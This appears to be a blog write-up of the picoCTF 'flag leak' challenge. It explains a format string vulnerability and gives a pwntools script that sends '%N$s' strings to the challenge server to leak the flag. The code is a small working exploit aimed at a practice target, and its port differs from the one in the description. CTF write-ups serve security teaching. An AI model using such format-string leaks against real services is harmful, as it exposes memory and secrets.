Ulli Weichert/ April 4, 2022/ IT-Security, Write-Ups/ 0Kommentare

flag leak

Description

Story telling class 1/2
I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net 51385

Solving

This is a format string attack. So if we use some magic to send some format strings to the app, this should get us the flag.

Here is my solve.py - it will send the format string 30 times against the application.

#!/usr/bin/env python

from pwn import *

host,port = 'saturn.picoctf.net', 52999

for i in range(30):
    s = remote(host,port)
    s.recvuntil(b'>>')
    s.sendline('%' + str(i) + '$s')
    print(s.recvuntil(b'-'))
    print(i), print(s.recv())
    s.close